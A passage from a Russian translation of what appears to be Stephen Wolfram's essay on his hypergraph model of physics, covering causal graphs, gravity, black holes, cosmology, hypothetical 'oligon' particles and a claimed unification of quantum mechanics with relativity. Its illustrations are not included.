Фактически, мы можем не только увидеть световые конусы в нашем причинно-следственном графе: в некотором смысле мы можем думать обо всем нашем причинно-следственном графе как о большом количестве «элементарных световых конусов», связанных вместе. И, как мы уже упоминали, большая часть построенной структуры обязательно идет на «поддержание структуры пространства».
Но давайте повнимательнее посмотрим на наши световые конусы. На их границах есть причинно-следственные ребра, которые действительно соответствуют распространению со скоростью света — и которые, с точки зрения лежащего в основе гиперграфа, соответствуют событиям, которые «достигают» и «захватывают» новые элементы так быстро, как возможно. Но как насчет вертикальных причинно-следственных ребер? Эти ребра связаны с событиями, которые в некотором смысле повторно используют элементы в гиперграфе, без привлечения новых.
И похоже, что эти причинно-следственные ребра имеют важное толкование: они связаны с массой (или, точнее, массой покоя). Итак, полный поток причинных ребер через пространственные гиперповерхности соответствует энергии. А поток причинно-следственных связей во временном направлении соответствует массе покоя. Мы можем увидеть, что произойдет, если мы немного наклоним нашу систему отсчета, что соответствует скорости `v ≪ c` Довольно легко вывести формулы для импульса (p) и энергии (E). Скорость света *c* входит в формулы, поскольку она определяет отношение «горизонтальных» (то есть пространственных) к «вертикальным» (то есть временным) линиям на причинном графе. А для *v* достаточно малой по сравнению с *c* получаем:
`p = mv + ...`
`E = mc^2 + 1/2 m\*v^2 + ...`
Итак, из этих формул мы можем видеть, что, просто исследуя причинно-следственные графы (и, да, с учетом причинно-следственной инвариантности и целого ряда подробных математических ограничений, которые мы здесь не обсуждаем), нам удалось вывести основной (и известный) факт о соотношении энергии и массы:
`E = mc^2`
В стандартных теориях физики это отношение выглядит скорее аксиомой, чем чем-то, что можно вывести. Но в нашей модели это не так.
### Общая теория относительности и гравитация
Ранее мы говорили о том, как в наших моделях возникает искривление пространства. Но тогда мы просто говорили о «пустом пространстве». Теперь мы можем вернуться и поговорить о том, как кривизна взаимодействует с массой и энергией в пространстве.
Выше мы говорили о построении сферических шаров, начиная с некоторой точки гиперграфа, а затем следуя всем возможным последовательностям *r* ребер. Но теперь мы можем сделать что-то прямо аналогичное в графе причин и следствий: начать с некоторой точки и проследить возможные последовательности t связей. Мы получаем «объемы световых конусов».
Если пространство d-мерно, то этот объем будет приближенно расти как `t^(d+1)`. Но, как и в случае с пространством, есть поправочный член, на этот раз пропорциональный так называемому тензору Риччи Ruv. (Фактическое выражение примерно `t^(d+1)\*(1 - 1/6t(i)t(j)R(ij))`, где *t(i)* соответствует временным векторам и т. д.)
Мы также знаем кое-что еще о том, что находится внутри световых конусов: существуют не только «фоновые связи», поддерживающие структуру пространства, но также «дополнительные» причинно-следственные связи, связанные с энергией, импульсом и массой. И мы можем отождествить их плотность с так называемым тензором энергии-импульса T(uv). Таким образом, в итоге у нас есть два вклада в «объемы» наших световых конусов: один от «чистой кривизны» и один от энергии-импульса.
Опять же, здесь нам понадобится [немного математики](https://www.wolframcloud.com/obj/wolframphysics/Documents/some-relativistic-and-gravitational-properties-of-the-wolfram-model.pdf). Но главное — думать о пределе, когда мы смотрим на очень большой причинно-следственный граф. Какое уравнение должно быть верным, чтобы иметь d-мерное пространство, а не что-то более необычное? Должно выполняться следующее уравнение:
`R(uv) - 1/2 Rg(uv) = sigma T(uv)`
Это в точности уравнение Эйнштейна для кривизны пространства, в котором присутствует материя с определенной энергией и импульсом. Здесь мы упускаем из виду многие детали. Но все же, на мой взгляд, это весьма впечатляюще: исходя из базовой структуры наших очень простых моделей, мы можем получить фундаментальный результат: уравнение, которое более ста лет прошло все испытания при описании гравитации.
Особо отмечу, что в только что приведенном уравнении нет так называемого космологического члена. И это связано с вопросом о том, что такое ноль энергии и какие свойства гиперграфа имеют прямое отношение к «поддержанию пространства», а какие — к материи в этом пространстве.
В современной физике ожидается, что даже в вакууме на самом деле существует формально бесконечная плотность пар виртуальных частиц. По сути, постоянно рождаются пары частиц и античастиц, которые быстро аннигилируют, но которые в совокупности создают огромную плотность энергии. Мы обсудим, как это связано с квантовой механикой позже. Но пока просто напомним, что частицы (например, электроны) в наших моделях соответствуют локальным стабильным структурам в гиперграфе.
Как «поддерживается пространство»? В основном, это происходит посредством всевозможных, казалось бы, случайных событий обновления в гиперграфе. Но в современной физике (или, в частности, в квантовой теории поля) мы должны описывать все в терминах (виртуальных) частиц. Поэтому, если мы попытаемся сделать это со всеми этими случайными событиями обновления, неудивительно, что мы в конечном итоге скажем, что происходит бесконечное множество событий. (Да, это можно сделать гораздо точнее; я просто даю здесь общую схему.)
Но тогда возникает непосредственная проблема: мы говорим, что существует формально бесконечная — или, по крайней мере, огромная — плотность энергии, которая должна существовать повсюду во Вселенной. Если мы затем посмотрим на уравнение Эйнштейна, мы сделаем вывод, что такая плотность должна производить достаточную кривизну, чтобы свернуть Вселенную в крошечный шар.
Один из способов найти выход из этого парадокса — ввести так называемый космологический член, а затем постулировать, что этот член имеет такое значение, чтобы можно было принять за нулевую плотность энергии от виртуальных частиц. Это определенно не лучшее решение.
В наших моделях все по-другому. То, что в нашей модели соответствует виртуальным частицам, на самом деле «создает пространство» и поддерживает его структуру. Конечно, все детали зависят от конкретного основного правила. Но больше нет большой загадки относительно того, почему «энергия вакуума» в основном не разрушает нашу Вселенную — это потому, что она создает нашу Вселенную.
### Черные дыры и сингулярность
Одно из главных предсказаний общей теории относительности — существование черных дыр. Существуют ли они в наших моделях? Конечно же да! Определяющей чертой черной дыры является наличие горизонта событий: границы, которую световые сигналы не могут пересечь, и где причинно-следственная связь фактически нарушена.
В наших моделях мы можем заметить, как это происходит в причинно-следственном графе. Вот пример:
Вначале все причинно связано. Но в какой-то момент причинно-следственный граф расщепляется — и появляется горизонт событий. События, происходящие в одной части графа, не могут повлиять на другие. Вот как область Вселенной может «причинно отколоться», образуя нечто вроде черной дыры.
Но на самом деле в наших моделях «отрыв» может быть еще более экстремальным. Не только причинно-следственный граф может разделиться — пространственный гиперграф может отбрасывать отдельные части, каждая из которых, по сути, образует целую «отдельную вселенную»:
Кстати, интересно посмотреть, что происходит со слоями, которые видят наблюдатели, при существовании горизонта событий. Причинно-следственная инвариантность говорит, что расходящиеся пути в причинном графе всегда должны со временем сливаться. Но если пути идут в разные несвязанные части причинного графа, этого никогда не произойдет. Как это влияет на наблюдателей? Ну, по сути, им приходится «останавливать время». У них должно быть слоение, в котором последовательные временные отрезки просто накапливаются и никогда не входят в разъединенные части.
Это похоже на то, что происходит в общей теории относительности. Наблюдателю, находящемуся далеко от черной дыры, будет казаться, что нужно бесконечное время, чтобы что-нибудь упало в нее. Пока это просто феномен, связанный со структурой пространства. Но позже мы увидим, что это также прямой аналог чего-то совершенно другого: процесса измерения в квантовой механике.
Возвращаясь к гравитации: мы можем задавать вопросы не только о горизонте событий, но и о сингулярностях в пространстве-времени. В наших моделях это места, где множество путей в причинном графе сходятся в одну точку. В наших моделях мы можем сразу же изучить такие вопросы, как: всегда ли горизонт событий связан с какой-либо сингулярностью («гипотеза космической цензуры»).
Мы можем подумать о других странных феноменах из общей теории относительности. Например, есть замкнутые временные кривые, которые иногда рассматриваются как позволяющие путешествовать во времени. В наших моделях замкнутые временные кривые несовместимы с причинно-следственной инвариантностью. Но мы, конечно, можем изобрести правила, которые их порождают. Вот пример:
В этой системе ветвлений мы начинаем с одного «начального» состояния. Но по мере продвижения вперед мы можем войти в цикл, в котором мы неоднократно посещаем одно и то же состояние. И этот цикл также виден в причинно-следственном графе. Мы думаем, что «идем вперед во времени». Но на самом деле мы просто зацикливаемся, неоднократно возвращаясь в одно и то же состояние. И если бы мы попытались найти слоение, в котором мы могли бы описать время как всегда идущее, мы бы просто не смогли этого сделать.
### Космология
В нашей модели Вселенная может начаться с крошечного гиперграфа — возможно, с одной петли. Но затем — по мере применения преобразовательного правила — она постепенно расширяется. При некоторых особенно простых правилах общий размер гиперграфа должен просто равномерно увеличиваться, при других он может колебаться.
Но даже если размер гиперграфа постоянно увеличивается, мы можем этого не замечать. Может получиться так, что практически все, что мы видим, тоже расширяется — так что в действительности гранулярность пространства становится все тоньше и тоньше. Это было бы интересным разрешением вековых споров о том, является ли Вселенная дискретной или непрерывной. Да, она структурно дискретна, но масштаб дискретности по отношению к нашему масштабу постоянно становится все меньше и меньше. И если это происходит достаточно быстро, мы никогда не сможем «увидеть дискретность», потому что каждый раз, когда мы пытаемся ее измерить, Вселенная фактически разделяется еще до того, как мы получим результат. (Каким-то образом это было бы похоже на окончательное доказательство эпсилон-дельта исчисления: вы бросаете вызов Вселенной с помощью эпсилон-дельты, и прежде чем вы сможете получить результат, Вселенная уменьшает дельту.)
Есть и другие возможности. Весь гиперграф Вселенной может постоянно расширяться, но части постоянно «отламываются», образуя черные дыры разных размеров и позволяя «главному компоненту» Вселенной изменяться в размере.
Но независимо от того, как такое расширение работает в нашей Вселенной сегодня, ясно, что если Вселенная началась с одной петли, ей пришлось бы сильно расширяться, по крайней мере, на начальном этапе. И здесь есть интересная возможность, имеющая отношение к пониманию космологии.
Наша нынешняя Вселенная представляет собой трехмерное пространство, но в наших моделях не существует причин, по которым ранняя Вселенная обязательно была такой же. В наших моделях могут происходить самые разные вещи:
В первом примере разные части пространства разделяются на несообщающиеся ветви. Во втором примере у нас есть что-то вроде обыкновенного двухмерного пространства. А в третьем примере пространство в некотором смысле очень сильно связано. Если вычислить объем сферического шара, он будет расти не как `r^d`, он будет расти экспоненциально с увеличением *r* (например, как `2^r`).
Если мы посмотрим на причинно-следственный граф, мы увидим, что вы можете «путешествовать повсюду в пространстве» или очень быстро влиять на каждое событие. Как будто скорость света бесконечна. Но на самом деле это потому, что пространство фактически бесконечномерно.
В современной космологии остро стоит вопрос о том, как разные части ранней Вселенной умудрялись «общаться» друг с другом, чтобы сгладить возмущения. Ответ становится очевиден, если предположить, что Вселенная в начале была фактически бесконечномерной и только позже «расслабилась» до конечномерной.
Что во Вселенной сегодня является отражением событий, которые произошли на самом раннем этапе ее истории? Тот факт, что наши модели имеют довольно хаотичное поведение, означает, что большинство характеристик начальных условий или очень ранних стадий Вселенной будут быстро «зашифрованы», и их невозможно будет восстановить.
Но вполне возможно, что что-то вроде нарушения симметрии, связанного с первыми несколькими гиперграфами, может каким-то образом выжить. И это предполагает возможность того, что что-то вроде угловой структуры космического микроволнового фона или очень крупномасштабного распределения галактик может отражать дискретную структуру очень ранней Вселенной. Или, другими словами, вполне возможно, основное правило нашей Вселенной нарисовано по всему небу. Я считаю эту возможность крайне маловероятной, но, безусловно, было бы замечательно, если бы Вселенная «самодокументировалась» таким образом.
### Элементарные частицы — старые и новые
Мы несколько раз говорили о таких частицах, как электроны. В современных физических теориях предполагается, что различные истинно элементарные частицы — кварки, лептоны (электрон, мюон, нейтрино и т. д.), калибровочные бозоны, бозоны Хиггса — по сути являются точечными частицами нулевого размера. В наших моделях это работает не так. По сути, частицы представляют собой «маленькие кусочки пространства», обладающие различными особыми свойствами.
Я предполагаю, что точный список существующих частиц зависит от конкретного основного преобразовательного правила. В клеточных автоматах, например, мы можем видеть, как возникают сложные наборы возможных локализованных структур:
В наших гиперграфах картина неизбежно будет несколько иной. Основным свойством каждой частицы будет некоторая локально стабильная структура в гиперграфе (простая аналогия — кусок «непланарности» в планарном графе). И тогда с частицей будет связано множество причинно-следственных ребер, определяющих ее конкретную энергию и импульс.
Тем не менее, основная характеристика частиц, по-видимому, будет определять такие вещи, как их заряд, квантовые числа и, возможно, спин — и тот факт, что эти вещи наблюдаются в дискретных единицах, может отражать тот факт, что только небольшой кусок гиперграфа участвует в их определении.
Довольно трудно понять, каков реальный масштаб дискретности пространства в наших моделях. Но возможная (хотя и потенциально ненадежная) оценка такова, что «элементарная длина» составляет около `10^–93` метра. (Обратите внимание, что это очень мало по сравнению с длиной Планка ~ `10^–35` метров, которая, по сути, является результатом анализа размерности.) И с этой элементарной длиной радиус электрона мог бы составлять `10^–81` метров. Крошечный, но не нулевой. (Обратите внимание, что текущие эксперименты говорят нам только о том, что размер электрона меньше `10^–22` метров.)
Также наши модели предполагают существование «кванта массы» — дискретной величины, которой все массы, например, частицы, кратны. При нашей оценке элементарной длины этот квант массы был бы небольшим, возможно, в `10^–30`, или в `10^36` раз меньше массы электрона.
И здесь возникает интригующая гипотеза. Возможно, частицы, такие как электроны, о которых мы в настоящее время знаем, являются «большими». (По нашим оценкам, в электроне должны быть элементы гиперграфа.) И, возможно, есть гораздо меньшие и гораздо более легкие частицы. По сравнению с частицами, которые мы знаем в настоящее время, в таких частицах было бы немного элементов гиперграфа, поэтому я называю их «олигонами» (от греческого слова ὀλιγος, означающего «несколько»).
Какими свойствами будут обладать эти олигоны? Вероятно, они очень-очень слабо взаимодействуют с другими частицами во Вселенной. Скорее всего, в очень ранней Вселенной было произведено множество олигонов, но из-за их очень слабого взаимодействия они очень скоро «выпали из теплового равновесия» и остались в большом количестве в виде реликвий — с энергиями, которые будут постепенно уменьшаться по мере роста.
Так где же сейчас могут быть олигоны? Даже если другие их взаимодействия, вероятно, будут исключительно слабыми, они все равно будут подвержены гравитации. И если их энергия окажется достаточно низкой, они будут собираться в гравитационных колодцах по всей вселенной, то есть внутри и вокруг галактик.
И это особенно интересно в свете того, что сейчас существует большая загадка относительно количества наблюдаемой массы в галактиках. Похоже, что существует много «темной материи», которую мы не видим, но которая имеет гравитационные эффекты. Что ж, возможно это олигоны. Может быть, даже много разных видов олигонов: целый мир теней из гораздо более легких частиц.
### Квантовая механика
«Но как вы получите квантовую механику?» — физики всегда спрашивали меня это, когда я описывал им ранние версии своих моделей. Во многих отношениях квантовая механика — это вершина существующей физики. Тем не менее, в ней всегда присутствовало определенное «от вас не ожидается, что вы поймете это» в сочетании с «просто верьте математическим формулам». И да, математические формулы позволяют нам производить расчеты. Эти расчеты часто бывают очень сложными — такими сложными, что именно они заставили меня начать использовать компьютеры для математических вычислений 45 лет назад.
Наше обычное впечатление о мире таково, что происходят определенные события. До квантовой механики классическая физика обычно фиксировала это в законах — обычно в уравнениях — которые рассказывали, что конкретно будет делать система. Но в квантовой механике предполагается, что любая конкретная система выполняет множество разных вещей «параллельно», а мы просто наблюдаем вероятные случаи этих возможностей.
О модели, в которой есть определенные правила, можно предположить, что она никогда не сможет воспроизвести квантовую механику. Но на самом деле, в наших моделях квантовая механика не просто возможна, она абсолютно неизбежна. И, как мы увидим позже, удивительно прекрасно то, что квантовая механика в своей сути оказывается очень близка к теории относительности.
Так как это все работает? Вернемся к тому, что мы обсуждали, когда впервые заговорили о времени. В наших моделях есть определенное правило для обновлений, которые необходимо внести в наши гиперграфы, например:
Но если у нас есть такой гиперграф:
обычно есть много мест, где можно применить это правило. Итак, какое обновление мы должны применить в первую очередь? Модель нам ничего не говорит об этом. Но давайте просто представим все возможности. Правило сообщает нам, что все они представляют из себя — и мы можем представить их (как мы обсуждали выше) как ветвистую систему — здесь это проиллюстрировано с использованием более простого случая строк, а не гиперграфов:
Каждый узел на этом графе представляет собой полное состояние нашей системы (гиперграф в наших реальных моделях). И каждый узел соединен стрелками с состоянием или состояниями, которые можно получить, применив к нему одно обновление.
Если бы наша модель работала как классическая физика, мы бы ожидали, что она будет прогрессировать во времени из одного состояния в другое, скажем так:
Но структура наших моделей не оставляет нам выбора, кроме как рассматривать системы ветвлений. Форма всей системы ветвлений полностью определяется правилами. Но в способе, который уже очень напоминает стандартный математический аппарат квантовой механики, система ветвлений определяет множество различных возможных путей истории.
Если всегда есть все эти различные возможные пути истории, как в мире происходят определенные вещи? Это было главной загадкой квантовой механики на протяжении столетия. Оказывается, если просто использовать квантовую механику для вычислений, ответ в принципе не имеет значения. Но если кто-то хочет по-настоящему понять, что происходит в квантовой механике, это определенно имеет значение.
И что самое интересное, в наших моделях есть очевидное решение. Оно основано на том же самом явлении — причинно-следственной инвариантности, являющаяся причиной относительности.
Вот примерно [как это работает](https://www.wolframphysics.org/technical-introduction/potential-relation-to-physics/basic-concepts-of-quantum-mechanics). Ключевой момент — думать о том, что наблюдатель, который сам является частью системы ветвлений, сделает вывод о мире. Да, есть разные возможные пути истории. Но — как и в нашем обсуждении теории относительности — единственный их аспект, который когда-либо осознает наблюдатель, — это причинно-следственные связи между событиями. Дело в том, что даже если «извне» пути выглядят разными, причинная инвариантность подразумевает, что сеть отношений между событиями (а это все, что имеет значение, когда человек находится внутри системы) всегда будет точно такой же.
Другими словами, как и в случае с относительностью, даже несмотря на то, что извне системы может показаться множество возможных «нитей времени», изнутри причинная инвариантность системы подразумевает, что в конечном счете существует только одна нить времени, или, по сути, одна объективная реальность.
Как все это соотносится с подробным стандартным математическим аппаратом квантовой механики? Это довольно сложные выкладки, но позвольте мне сделать здесь хотя бы несколько заметок на этот счет. (В моем техническом документе есть некоторые подробности; в своей работе Джонатан Горард дал даже больше.)
Состояния в системе ветвлений можно рассматривать как возможные состояния квантовой системы. Но как мы можем охарактеризовать то, как их воспринимают наблюдатели? В частности, о каких состояниях знает наблюдатель и когда? Как и в случае с относительностью, наблюдатель может в некотором смысле выбирать, как они определяют время. Одна из возможностей может заключаться в расслоении системы ветвлений, например так:
В терминах квантовой механики можно сказать, что каждый раз наблюдатель испытывает суперпозицию возможных состояний системы. По прямой аналогии со случаем теории относительности, существует множество различных возможных выборов, которые наблюдатель может сделать относительно того, как определять время, — и каждый из них соответствует разному слоению графа.
Опять же, по аналогии с теорией относительности, мы можем рассматривать эти варианты как различные «системы отсчета квантового наблюдения». Причинно-следственная инвариантность подразумевает, что до тех пор, пока они соблюдают причинно-следственные связи в графе, эти системы отсчета могут быть настроены так, как мы хотим. Говоря об относительности, было полезно иметь просто «наклонные параллельные линии» («инерциальные системы отсчета»), представляющие наблюдателей, которые равномерно перемещаются в пространстве.
Говоря о квантовой механике, можно использовать и другие системы отсчета. В частности, в стандартных терминах квантовой механики принято говорить о «квантовом измерении»: по сути, это акт взятия квантовой системы и определения из нее определенного (по сути классического) результата. Что ж, в нашей модели квантовое измерение в основном соответствует определенной квантовой системе наблюдения.
Вот пример:
Последовательные розовые линии означают то, что наблюдатель считает последовательными моментами времени. Итак, когда все линии сгруппированы ниже состояния ABBABB, это означает, что наблюдатель фактически «замораживает время» для этого состояния. Другими словами, наблюдатель говорит: «Я считаю, что это состояние системы, и я придерживаюсь его». Даже несмотря на то, что в полном графе происходят все виды другой «квантово-механической» эволюции состояний, наблюдатель настроил свою квантовую систему наблюдения так, что он получает только конкретное, определенное, классическое состояние в качестве результата.
Могут ли наблюдатели делать это постоянно? Что ж, это зависит от структуры графа, которая зависит от лежащего в ее основе правила. В приведенном выше примере мы создали слоение (то есть квантовую систему наблюдения), которая наилучшим образом выполняет это правило во «время замораживания» для состояния ABBABB. Но как долго можно поддерживать это «поле искажения реальности»?
Единственный способ сохранить целостность слоения в приведенном выше графе — это постепенно расширять его с течением времени. Другими словами, чтобы время оставалось замороженным, все больше и больше квантовых состояний необходимо втягивать в «поле искажения реальности», и поэтому в системе становится все меньше и меньше когерентности.
Картинка выше относится к очень тривиальному правилу. Вот соответствующее изображение для более реалистичного случая:
И здесь мы видим, что даже в этом все еще невероятно упрощенном случае структура многосторонней системы заставит наблюдателя построить все более и более сложное слоение, если он хочет успешно заморозить время. Измерение в квантовой механике всегда сопровождалось несколько неудобной математической идеализацией — и теперь это дает нам представление о том, что происходит на самом деле. (Ситуация в конечном итоге очень похожа на проблему расшифровки «зашифрованных» термодинамических начальных условий, о которой я упоминал выше.)
Квантовое измерение — это то, что воспринимает наблюдатель. Но если вы, например, пытаетесь построить квантовый компьютер, вопрос заключается не только в том, чтобы кубит воспринимался как поддерживаемый в определенном состоянии, его действительно нужно поддерживать в этом состоянии. А чтобы это произошло, нам нужно остановить время для этого кубита. Вот очень упрощенный пример того, как это может происходить в графе ветвлений:
Все эти разговоры о «замораживании времени» могут показаться странными и не похожими на все, о чем обычно говорят в физике. Но на самом деле, связь есть: замораживание времени, о котором мы здесь говорим, можно рассматривать как происходящее, потому что в пространстве квантовых ветвлений у нас есть аналог черной дыры в физическом пространстве.
У нас есть место, куда вещи попадают и застревают там на веки. Но это еще не все. Если вы являетесь наблюдателем вдали от черной дыры, то вы никогда не увидите, как что-либо упадет в черную дыру за конечное время (поэтому черные дыры иногда называют «замороженными звездами»). И причина этого как раз в том, что (согласно математике) время застыло на горизонте событий черной дыры. Другими словами, чтобы успешно создать кубит, вы должны изолировать его в квантовом пространстве так же, как частицы изолированы в физическом пространстве из-за горизонта событий черной дыры.
### Общая теория относительности и квантовая механика — суть одна и та же!
Общая теория относительности и квантовая механика — две великие фундаментальные теории современной физики. В прошлом мы часто не могли соединить их вместе. Одним из прекрасных результатов нашего проекта стало осознание того, что на каком-то глубоком уровне общая теория относительности и квантовая механика фактически являются одной и той же идеей. Это ясно только в контексте наших моделей. Обе теории являются следствиями причинно-следственной инвариантности, просто применяемыми в разных ситуациях.
Вспомните наше обсуждение причинно-следственных графов в контексте теории относительности. Мы нарисовали слоения и сказали, что если мы посмотрим на определенный срез, он расскажет нам о расположении системы в пространстве в том, что мы считаем определенным моментом времени. Итак, теперь давайте посмотрим на графы ветвлений. В предыдущем разделе мы видели, что в квантовой механике нас интересуют их слоения. Но если мы посмотрим на конкретный срез одного из этих слоений, что он представляет из себя? В слоении есть несколько состояний. И оказывается, что мы можем думать о них как о расположенных в абстрактном виде пространства, которое мы называем «пространством ветвлений».
Чтобы понять это пространство, мы должны иметь способ сказать, что рядом с чем. Граф ветвлений позволяет нам сделать это. Взгляните:
На каждом срезе слоения нарисуем граф, в котором мы соединяем два состояния всякий раз, когда они оба являются частью одной и той же «пары ветвлений», так что, как здесь AA и ABB, они оба происходят из одного и того же состояния на срезе. Вот что мы получаем, делая это для последовательных срезов:
Мы называем эти графы «графами ветвлений». Мы можем думать о них как о корреляции — или запутанности — квантовых состояний. Два соседних состояния на графе сильно запутаны; те, что подальше, меньше. И мы можем представить, что по мере развития нашей системы мы будем получать все более и более крупные ветвистые графы, пока в конечном итоге, как и в случае с нашими исходными гиперграфами, мы не сможем думать об этих графах как о чем-то вроде непрерывного пространства.
На что похоже это пространство? Для наших исходных гиперграфов мы представили, что получим что-то вроде обычного физического пространства (скажем, близкого к трехмерному евклидову пространству). Но пространство ветвлений — это нечто более абстрактное и гораздо более необычное. И оно даже не является конечномерным. Это что-то вроде гильбертова пространства. Но мы все же можем думать о нем математически как о некотором пространстве.
На этом моменте все сильно усложняется. Но позвольте мне попытаться дать вам хотя бы представление о том, как все работает. Вот пример чудесного соответствия: кривизна физического пространства подобна принципу неопределенности квантовой механики. Почему они как-то связаны друг с другом?
Принцип неопределенности гласит, что если вы измеряете, скажем, положение чего-либо, а затем его импульс, вы получите не тот же самый ответ, как если бы вы делали это в обратном порядке. Но теперь подумайте, что происходит, когда вы пытаетесь создать прямоугольник в физическом пространстве, двигаясь сначала в направлении x, затем в направлении y, а затем вы делаете это в обратном порядке. В плоском пространстве вы попадете в то же место. Но в искривленном пространстве это не так:
По сути, принцип неопределенности заключается в том, что вы делаете именно это, но в пространстве ветвлений, а не в физическом. И именно потому, что пространство ветвлений необычно — и, по сути, очень искривлено, — вы получаете принцип неопределенности.
Хорошо, может возникнуть следующий вопрос: каков аналог уравнений Эйнштейна в пространстве ветвлений? И снова открывается удивительная вещь: это интеграл по траекториям — фундаментальная математическая конструкция современной квантовой механики и квантовой теории поля.
Позвольте мне попытаться объяснить. Точно так же, как мы обсуждали геодезические линии как описывающие пути, пройденные через физическое пространство с течением времени, мы можем обсуждать геодезические линии как описывающие пути, пройденные через пространство ветвлений с течением времени. В обоих случаях эти геодезические линии определяются кривизной в соответствующем пространстве. В случае физического пространства мы утверждали, что наличие избыточных причинно-следственных ребер, соответствующих энергии, приведет к тому, что равносильно кривизне пространственного гиперграфа, как описано уравнениями Эйнштейна.
А что насчет пространства ветвлений? Как и в случае с пространственным гиперграфом, мы можем думать о причинно-следственных связях между событиями обновления, которые определяют граф ветвлений. И мы снова можем вообразить себе поток причинно-следственных ребер — теперь не через пространственные гиперповерхности, а через гиперповерхности, подобные ветвям состояний — как соответствующие энергии. И — как и в случае с пространственным гиперграфом — избыток этих причинно-следственных ребер приведет к тому, что создаст искривление в пространстве ветвлений (или, точнее, во «времени-ветвлении» — аналоге пространства-времени). Но эта кривизна затем повлияет на геодезические линии, пересекающие пространство ветвлений.
В общей теории относительности наличие массы (или энергии) вызывает искривление пространства, в результате чего пути геодезических линий поворачиваются, что обычно интерпретируется как действие силы тяжести. Есть аналог в квантовой механике в нашем пространстве ветвлений. Присутствие энергии вызывает искривление в пространстве ветвлений, которое заставляет геодезические пути через пространство ветвлений поворачиваться.
Чему соответствует поворот? По сути, это именно то, о чем говорит интеграл по траекториям. Интеграл по траекториям (стандартный термин квантовой механики) задается в комплексных числах. Но с таким же успехом можно рассматривать его, как поворот на угол. Именно это и происходит с нашими геодезическими линиями в пространстве ветвлений. В интеграле по траекториям есть величина, называемая действием, являющаяся своего рода релятивистским аналогом энергии. Наши потоки причинно-следственных ребер соответствуют действию, и именно они определяют скорость поворота геодезических линий.
Все это прекрасно сочетается. В физическом пространстве у нас есть уравнения Эйнштейна — ядро общей теории относительности. А в пространстве ветвлений мы имеем интеграл по траекториям Фейнмана — ядро современной квантовой механики. А в контексте наших моделей это просто разные грани одной и той же идеи. Это удивительное объединение, которого, я совсем не ожидал. Оно возникло как неизбежное следствие наших простых моделей применения правил к множествам отношений или гиперграфам.
### Движение по ветвям и горизонт запутанности
Мы можем думать о движении в физическом пространстве как о процессе исследования новых элементов в пространственном гиперграфе, потенциально подвергающимся их влиянию. Но теперь, когда мы говорим о пространстве ветвлений, разумно спросить, есть ли в нем что-то вроде движения. И ответ — да. Вместо изучения новых элементов в пространственном гиперграфе, мы исследуем новые элементы в графе ветвлений и становимся потенциально подвержены их влиянию.
Есть способ сказать об этом на стандартном языке квантовой механики: по мере того, как мы движемся в пространстве ветвлений, мы фактически «запутываемся» во все большем и большем количестве квантовых состояний.
Давайте продолжим аналогию. В физическом пространстве есть максимальная скорость движения — скорость света *c*. Так что насчет пространства ветвлений? Что ж, в наших моделях мы видим, что также должна быть максимальная скорость движения в пространстве ветвлений. Или, другими словами, существует максимальная скорость, с которой мы можем связываться с новыми квантовыми состояниями.
В физическом пространстве мы говорим о световых конусах как об областях, на которые может причинно повлиять какое-то событие в определенном месте в пространстве. Таким же образом мы можем говорить о конусах запутывания, которые определяют области в пространстве ветвлений, на которые могут влиять события в некоторой позиции в пространстве ветвлений. И точно так же, как существует причинно-следственный граф, который связывает вместе элементарные световые конусы, есть нечто подобное, связывающее вместе конусы сцепленности.
Этим чем-то похожим является причинно-следственный граф ветвлений: граф, который представляет причинно-следственные связи между всеми событиями, которые могут произойти в любом месте системы ветвлений. Вот пример такого причинно-следственного графа всего для нескольких шагов очень простой системы подстановки строк:
В некотором смысле. причинно-следственный граф является наиболее полным описанием всего, что может повлиять на опыт наблюдателей. Некоторые из описываемых причинно-следственных связей представляют собой пространственные связи; некоторые представляют собой ветвистые связи. Но все они есть. Итак, в некотором смысле ветвистый причинно-следственный граф — это место, где встречаются теория относительности и квантовая механика. Срежьте в одну сторону, и вы увидите отношения в физическом пространстве; срежьте другой путь, и вы увидите отношения в пространстве ветвлений между квантовыми состояниями.
Чтобы понять, как это работает, вот игрушечная версия причинно-следственного графа ветвлений:
Каждая точка — это событие, которое происходит в некотором гиперграфе на некоторой ветви системы. И теперь граф показыает причинно-следственную связь этого события с другими. В этом игрушечном примере есть чисто временные отношения (обозначенные стрелками вниз), в которых в основном какой-то элемент гиперграфа влияет на его будущее «я». Но есть и пространственные, и отношения ветвлений, когда событие затрагивает элементы, которые либо «пространственно» разделены в гиперграфе, либо «ветвисто» разделены в системе ветвлений.
Но при всей этой сложности происходит что-то чудесное. Если основное правило модели имеет причинно-следственную инвариантность, то это подразумевает всевозможные закономерности в причинно-следственном графе ветвлений. Например, все те причинно-следственные графы, которые мы получаем, беря разные срезы времени-ветвления, на самом деле одинаковы, когда мы проецируем их в пространство-время — и это приводит к теории относительности.
Но причинно-следственная инвариантность имеет и другие последствия. Одно из них заключается в том, что должен существовать аналог специальной теории относительности, применимый не к пространству-времени, а к времени-ветвлению. Системы отсчета специальной теории относительности теперь являются нашими квантовыми системами наблюдения. А аналог скорости в физическом пространстве — это скорость запутывания новых квантовых состояний.
Так что насчет такого явления, как релятивистское замедление времени? Есть ли аналог этого для движения в пространстве ветвлений? Вообще-то да, есть. И это оказывается тем, что иногда называют квантовым эффектом Зенона: если многократно измерять квантовую систему достаточно быстро, она не изменится. Это явление подразумевается дополнениями к стандартному аппарату квантовой механики, которые описывают измерения. Но в наших моделях это происходит непосредственно из аналогии между физическим пространством и пространством ветвлений.
Выполнение новых измерений эквивалентно запутыванию в новых квантовых состояниях или перемещению в пространстве ветвлений. В прямой аналогии с тем, что происходит в специальной теории относительности, когда вы приближаетесь к движению с максимальной скоростью, вы неизбежно замедляете выборку во времени — и поэтому вы получаете замедление времени, что означает, что ваша «квантовая эволюция» замедляется.
Итак, есть релятивистские явления в физическом пространстве и квантовые аналоги в пространстве ветвлений. Но в наших моделях все это, по сути, аспекты одного: причинно-следственного графа ветвлений. Так есть ли ситуации, в которых могут смешиваться два вида явлений? Обычно нет: релятивистские явления охватывают большие физические масштабы; квантовые явления имеют тенденцию вовлекать мелкие.
Но одним из примеров экстремальной ситуации, когда они могут смешиваться, являются черные дыры. Я несколько раз упоминал, что формирование горизонта событий вокруг черной дыры связано с разрывом в причинно-следственном графе. Но это еще не все. На самом деле это разъединение существует не только в причинно-следственном графе пространства-времени, но и в полном причинно-следственном графе ветвлений. А это означает, что существует не только обычный причинно-следственный горизонт событий — в физическом пространстве, — но также и «горизонт запутанности» в пространстве ветвлений. И точно так же, как часть пространственного гиперграфа может «отвалиться» в черной дыре, также может отсоединиться часть графа ветвлений.
